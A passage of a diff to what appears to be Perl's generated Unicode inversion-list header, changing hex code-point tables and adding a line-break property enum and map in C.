+ 0xD5E5, + 0xD600, + 0xD601, + 0xD61C, + 0xD61D, + 0xD638, + 0xD639, + 0xD654, + 0xD655, + 0xD670, + 0xD671, + 0xD68C, + 0xD68D, + 0xD6A8, + 0xD6A9, + 0xD6C4, + 0xD6C5, + 0xD6E0, + 0xD6E1, + 0xD6FC, + 0xD6FD, + 0xD718, + 0xD719, + 0xD734, + 0xD735, + 0xD750, + 0xD751, + 0xD76C, + 0xD76D, + 0xD788, + 0xD789, + 0xD7A4, + 0xD7B0, + 0xD7C7, + 0xD7CB, + 0xD7FC, + 0xF900, + 0xFB00, + 0xFB1D, + 0xFB1E, + 0xFB1F, 0xFB29, 0xFB2A, - 0xFBB2, - 0xFBC2, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, + 0xFB50, + 0xFD3E, + 0xFD3F, + 0xFD40, 0xFDFC, - 0xFDFE, - 0xFE62, - 0xFE63, - 0xFE64, + 0xFDFD, + 0xFE00, + 0xFE10, + 0xFE11, + 0xFE13, + 0xFE15, + 0xFE17, + 0xFE18, + 0xFE19, + 0xFE1A, + 0xFE20, + 0xFE30, + 0xFE35, + 0xFE36, + 0xFE37, + 0xFE38, + 0xFE39, + 0xFE3A, + 0xFE3B, + 0xFE3C, + 0xFE3D, + 0xFE3E, + 0xFE3F, + 0xFE40, + 0xFE41, + 0xFE42, + 0xFE43, + 0xFE44, + 0xFE45, + 0xFE47, + 0xFE48, + 0xFE49, + 0xFE50, + 0xFE51, + 0xFE52, + 0xFE53, + 0xFE54, + 0xFE56, + 0xFE58, + 0xFE59, + 0xFE5A, + 0xFE5B, + 0xFE5C, + 0xFE5D, + 0xFE5E, + 0xFE5F, 0xFE67, + 0xFE68, 0xFE69, 0xFE6A, + 0xFE6B, + 0xFE6C, + 0xFEFF, + 0xFF00, + 0xFF01, + 0xFF02, 0xFF04, 0xFF05, - 0xFF0B, + 0xFF06, + 0xFF08, + 0xFF09, + 0xFF0A, 0xFF0C, + 0xFF0D, + 0xFF0E, + 0xFF0F, + 0xFF1A, 0xFF1C, 0xFF1F, + 0xFF20, + 0xFF3B, + 0xFF3C, + 0xFF3D, 0xFF3E, - 0xFF3F, - 0xFF40, - 0xFF41, + 0xFF5B, 0xFF5C, 0xFF5D, 0xFF5E, 0xFF5F, + 0xFF60, + 0xFF62, + 0xFF63, + 0xFF65, + 0xFF66, + 0xFF67, + 0xFF71, + 0xFF9E, + 0xFFA0, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, 0xFFE0, + 0xFFE1, + 0xFFE2, + 0xFFE5, 0xFFE7, - 0xFFE8, - 0xFFEF, + 0xFFF9, 0xFFFC, - 0xFFFE, - 0x10137, - 0x10140, - 0x10179, - 0x1018A, - 0x1018C, - 0x1018F, - 0x10190, - 0x1019C, - 0x101A0, - 0x101A1, - 0x101D0, + 0xFFFD, + 0x10100, + 0x10103, 0x101FD, - 0x10877, - 0x10879, - 0x10AC8, - 0x10AC9, + 0x101FE, + 0x102E0, + 0x102E1, + 0x10376, + 0x1037B, + 0x1039F, + 0x103A0, + 0x103D0, + 0x103D1, + 0x104A0, + 0x104AA, + 0x10857, + 0x10858, + 0x1091F, + 0x10920, + 0x10A01, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, + 0x10A10, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A40, + 0x10A50, + 0x10A58, + 0x10AE5, + 0x10AE7, + 0x10AF0, + 0x10AF6, + 0x10AF7, + 0x10B39, + 0x10B40, + 0x11000, + 0x11003, + 0x11038, + 0x11047, + 0x11049, + 0x11066, + 0x11070, + 0x1107F, + 0x11083, + 0x110B0, + 0x110BB, + 0x110BE, + 0x110C2, + 0x110F0, + 0x110FA, + 0x11100, + 0x11103, + 0x11127, + 0x11135, + 0x11136, + 0x11140, + 0x11144, + 0x11173, + 0x11174, + 0x11175, + 0x11176, + 0x11180, + 0x11183, + 0x111B3, + 0x111C1, + 0x111C5, + 0x111C7, + 0x111C8, + 0x111C9, + 0x111CA, + 0x111CD, + 0x111D0, + 0x111DA, + 0x111DB, + 0x111DC, + 0x111DD, + 0x111E0, + 0x1122C, + 0x11238, + 0x1123A, + 0x1123B, + 0x1123D, + 0x1123E, + 0x1123F, + 0x112A9, + 0x112AA, + 0x112DF, + 0x112EB, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, + 0x1133C, + 0x1133D, + 0x1133E, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, + 0x11357, + 0x11358, + 0x11362, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, + 0x11435, + 0x11447, + 0x1144B, + 0x1144F, + 0x11450, + 0x1145A, + 0x1145B, + 0x1145C, + 0x114B0, + 0x114C4, + 0x114D0, + 0x114DA, + 0x115AF, + 0x115B6, + 0x115B8, + 0x115C1, + 0x115C2, + 0x115C4, + 0x115C6, + 0x115C9, + 0x115D8, + 0x115DC, + 0x115DE, + 0x11630, + 0x11641, + 0x11643, + 0x11650, + 0x1165A, + 0x11660, + 0x1166D, + 0x116AB, + 0x116B8, + 0x116C0, + 0x116CA, + 0x1171D, + 0x1172C, + 0x11730, + 0x1173A, + 0x1173C, 0x1173F, - 0x11740, - 0x16B3C, - 0x16B40, + 0x118E0, + 0x118EA, + 0x11C2F, + 0x11C37, + 0x11C38, + 0x11C40, + 0x11C41, + 0x11C46, + 0x11C50, + 0x11C5A, + 0x11C70, + 0x11C71, + 0x11C72, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, + 0x12470, + 0x12475, + 0x13258, + 0x1325B, + 0x1325E, + 0x13282, + 0x13283, + 0x13286, + 0x13287, + 0x13288, + 0x13289, + 0x1328A, + 0x13379, + 0x1337A, + 0x1337C, + 0x145CE, + 0x145CF, + 0x145D0, + 0x16A60, + 0x16A6A, + 0x16A6E, + 0x16A70, + 0x16AF0, + 0x16AF5, + 0x16AF6, + 0x16B30, + 0x16B37, + 0x16B3A, + 0x16B44, 0x16B45, - 0x16B46, - 0x1BC9C, + 0x16B50, + 0x16B5A, + 0x16F51, + 0x16F7F, + 0x16F8F, + 0x16F93, + 0x16FE0, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, + 0x1B000, + 0x1B002, 0x1BC9D, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, + 0x1BC9F, + 0x1BCA0, + 0x1BCA4, 0x1D165, 0x1D16A, 0x1D16D, @@ -327950,33 +9923,9 @@ static const UV PL_S_invlist[] = { /* for EBCDIC 1047 */ 0x1D18C, 0x1D1AA, 0x1D1AE, - 0x1D1E9, - 0x1D200, 0x1D242, 0x1D245, - 0x1D246, - 0x1D300, - 0x1D357, - 0x1D6C1, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6FB, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D735, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D76F, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D7A9, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, + 0x1D7CE, 0x1D800, 0x1DA00, 0x1DA37, @@ -327987,20 +9936,32 @@ static const UV PL_S_invlist[] = { /* for EBCDIC 1047 */ 0x1DA84, 0x1DA85, 0x1DA87, - 0x1EEF0, - 0x1EEF2, + 0x1DA8B, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, + 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E8D0, + 0x1E8D7, + 0x1E944, + 0x1E94B, + 0x1E950, + 0x1E95A, + 0x1E95E, + 0x1E960, 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, + 0x1F100, + 0x1F10D, 0x1F110, 0x1F12F, 0x1F130, @@ -328008,21 +9969,81 @@ static const UV PL_S_invlist[] = { /* for EBCDIC 1047 */ 0x1F170, 0x1F1AD, 0x1F1E6, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, + 0x1F200, + 0x1F385, + 0x1F386, + 0x1F39C, + 0x1F39E, + 0x1F3B5, + 0x1F3B7, + 0x1F3BC, + 0x1F3BD, + 0x1F3C3, + 0x1F3C5, + 0x1F3CA, + 0x1F3CC, + 0x1F3FB, + 0x1F400, + 0x1F442, + 0x1F444, + 0x1F446, + 0x1F451, + 0x1F466, + 0x1F46A, + 0x1F46E, + 0x1F46F, + 0x1F470, + 0x1F479, + 0x1F47C, + 0x1F47D, + 0x1F481, + 0x1F484, + 0x1F485, + 0x1F488, + 0x1F4A0, + 0x1F4A1, + 0x1F4A2, + 0x1F4A3, + 0x1F4A4, + 0x1F4A5, + 0x1F4AA, + 0x1F4AB, + 0x1F4AF, + 0x1F4B0, + 0x1F4B1, + 0x1F4B3, + 0x1F500, + 0x1F507, + 0x1F517, + 0x1F525, + 0x1F532, + 0x1F54A, + 0x1F575, + 0x1F576, + 0x1F57A, + 0x1F57B, + 0x1F590, + 0x1F591, + 0x1F595, + 0x1F597, + 0x1F5D4, + 0x1F5DC, + 0x1F5F4, + 0x1F5FA, + 0x1F645, + 0x1F648, + 0x1F64B, + 0x1F650, + 0x1F676, + 0x1F679, + 0x1F67C, + 0x1F680, + 0x1F6A3, + 0x1F6A4, + 0x1F6B4, + 0x1F6B7, + 0x1F6C0, + 0x1F6C1, 0x1F700, 0x1F774, 0x1F780, @@ -328037,69 +10058,2694 @@ static const UV PL_S_invlist[] = { /* for EBCDIC 1047 */ 0x1F888, 0x1F890, 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, + 0x1F918, + 0x1F91F, + 0x1F926, + 0x1F927, + 0x1F930, + 0x1F931, + 0x1F933, + 0x1F93A, + 0x1F93C, 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7 + 0x1FFFE, + 0x20000, + 0x2FFFE, + 0x30000, + 0x3FFFE, + 0xE0001, + 0xE0002, + 0xE0020, + 0xE0080, + 0xE0100, + 0xE01F0 +}; + +#endif /* defined(PERL_IN_PERL_C) */ + +#if defined(PERL_IN_REGEXEC_C) + +#define LB_ENUM_COUNT 39 + +typedef enum { + LB_Alphabetic = 0, + LB_Break_After = 1, + LB_Break_Before = 2, + LB_Break_Both = 3, + LB_Break_Symbols = 4, + LB_Carriage_Return = 5, + LB_Close_Parenthesis = 6, + LB_Close_Punctuation = 7, + LB_Combining_Mark = 8, + LB_Contingent_Break = 9, + LB_E_Base = 10, + LB_E_Modifier = 11, + LB_Exclamation = 12, + LB_Glue = 13, + LB_H2 = 14, + LB_H3 = 15, + LB_Hebrew_Letter = 16, + LB_Hyphen = 17, + LB_Ideographic = 18, + LB_Infix_Numeric = 19, + LB_Inseparable = 20, + LB_JL = 21, + LB_JT = 22, + LB_JV = 23, + LB_Line_Feed = 24, + LB_Mandatory_Break = 25, + LB_Next_Line = 26, + LB_Nonstarter = 27, + LB_Numeric = 28, + LB_Open_Punctuation = 29, + LB_Postfix_Numeric = 30, + LB_Prefix_Numeric = 31, + LB_Quotation = 32, + LB_Regional_Indicator = 33, + LB_Space = 34, + LB_Word_Joiner = 35, + LB_ZWJ = 36, + LB_ZWSpace = 37, + LB_EDGE = 38 +} LB_enum; + +static const LB_enum _Perl_LB_invmap[] = { /* for ASCII/Latin1 */ + LB_Combining_Mark, + LB_Break_After, + LB_Line_Feed, + LB_Mandatory_Break, + LB_Carriage_Return, + LB_Combining_Mark, + LB_Space, + LB_Exclamation, + LB_Quotation, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Quotation, + LB_Open_Punctuation, + LB_Close_Parenthesis, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Infix_Numeric, + LB_Hyphen, + LB_Infix_Numeric, + LB_Break_Symbols, + LB_Numeric, + LB_Infix_Numeric, + LB_Alphabetic, + LB_Exclamation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Prefix_Numeric, + LB_Close_Parenthesis, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Break_After, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Next_Line, + LB_Combining_Mark, + LB_Glue, + LB_Open_Punctuation, + LB_Postfix_Numeric, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Quotation, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Quotation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Combining_Mark, + LB_Glue, + LB_Combining_Mark, + LB_Glue, + LB_Combining_Mark, + LB_Alphabetic, + LB_Infix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Infix_Numeric, + LB_Break_After, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Exclamation, + LB_Combining_Mark, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Infix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Exclamation, + LB_Combining_Mark, + LB_Alphabetic, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Numeric, + LB_Postfix_Numeric, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Infix_Numeric, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Break_Before, + LB_Glue, + LB_Break_Before, + LB_Break_After, + LB_Glue, + LB_Exclamation, + LB_Glue, + LB_Alphabetic, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Combining_Mark, + LB_Break_After, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_Before, + LB_Break_After, + LB_Break_Before, + LB_Alphabetic, + LB_Glue, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Numeric, + LB_Combining_Mark, + LB_Alphabetic, + LB_JL, + LB_JV, + LB_JT, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Nonstarter, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Exclamation, + LB_Break_After, + LB_Break_Before, + LB_Alphabetic, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Glue, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Exclamation, + LB_Numeric, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Numeric, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Numeric, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Break_After, + LB_Glue, + LB_Break_After, + LB_ZWSpace, + LB_Combining_Mark, + LB_ZWJ, + LB_Combining_Mark, + LB_Break_After, + LB_Glue, + LB_Break_After, + LB_Break_Both, + LB_Alphabetic, + LB_Quotation, + LB_Open_Punctuation, + LB_Quotation, + LB_Open_Punctuation, + LB_Quotation, + LB_Alphabetic, + LB_Inseparable, + LB_Break_After, + LB_Mandatory_Break, + LB_Combining_Mark, + LB_Glue, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Quotation, + LB_Alphabetic, + LB_Nonstarter, + LB_Alphabetic, + LB_Infix_Numeric, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Nonstarter, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Word_Joiner, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Prefix_Numeric, + LB_Combining_Mark, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Inseparable, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Alphabetic, + LB_Quotation, + LB_Alphabetic, + LB_Exclamation, + LB_Ideographic, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Exclamation, + LB_Break_After, + LB_Alphabetic, + LB_Exclamation, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Quotation, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Open_Punctuation, + LB_Break_After, + LB_Alphabetic, + LB_Quotation, + LB_Alphabetic, + LB_Quotation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Break_After, + LB_Exclamation, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_Both, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Open_Punctuation, + LB_Break_After, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Break_After, + LB_Close_Punctuation, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Ideographic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Nonstarter, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Ideographic, + LB_Combining_Mark, + LB_Ideographic, + LB_Combining_Mark, + LB_Ideographic, + LB_Nonstarter, + LB_Ideographic, + LB_Alphabetic, + LB_Nonstarter, + LB_Ideographic, + 